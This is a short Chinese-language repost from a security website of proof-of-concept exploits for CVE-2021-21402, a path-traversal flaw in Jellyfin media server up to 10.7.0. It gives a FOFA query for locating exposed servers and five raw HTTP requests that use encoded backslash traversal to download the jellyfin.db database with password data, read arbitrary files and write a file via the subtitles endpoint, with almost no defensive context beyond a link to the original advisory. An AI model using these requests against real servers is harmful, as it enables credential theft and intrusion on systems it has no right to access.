CVE-2021-21402 Jellyfin任意文件读取

华盟原创文章投稿奖励计划

文章来源:安全鸭

FOFA:title="Jellyfin"

影响版本:

jellyfin<=10.7.0

POC1:从服务器下载带有密码的jellyfin.db:

GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ 
HTTP/1.1Host: x.x.x.xaccept: application/jsonUser-Agent: Mozilla/5.0 
(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/89.0.4389.114 Safari/537.36Referer: http://x.x.x.x/web/index.htmlAccept-Encoding: gzip, 
deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

CVE-2021-21402 Jellyfin任意文件读取

POC2:

GET /Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db HTTP/1.1

POC3:

GET /Videos/anything/hls/..%5Cdata%5Cjellyfin.db/stream.m3u8/?api_key=4c5750626da14b0a804977b09bf3d8f7 HTTP/1.1

POC4:   下载的PoC c:tempfilename.jpg: 

GET /Images/Ratings/c:%5ctemp/filename HTTP/1.1 
GET /Images/Ratings/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5ctemp/filename HTTP/1.1

POC5:

POST /Videos/d7634eb0064cce760f3f0bf8282c16cd/Subtitles HTTP/1.1...X-Emby-Authorization: MediaBrowser DeviceId="...",
 Version="10.7.0", Token="..."... {"language":".\..\","format":".\..\test.bin","isForced":false,"data":"base64 encoded data"}

原文:

https://securitylab.github.com/advisories/GHSL-2021-050-jellyfin/

华盟知识星球入口

本文原创,作者:张,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/278234.html

发表评论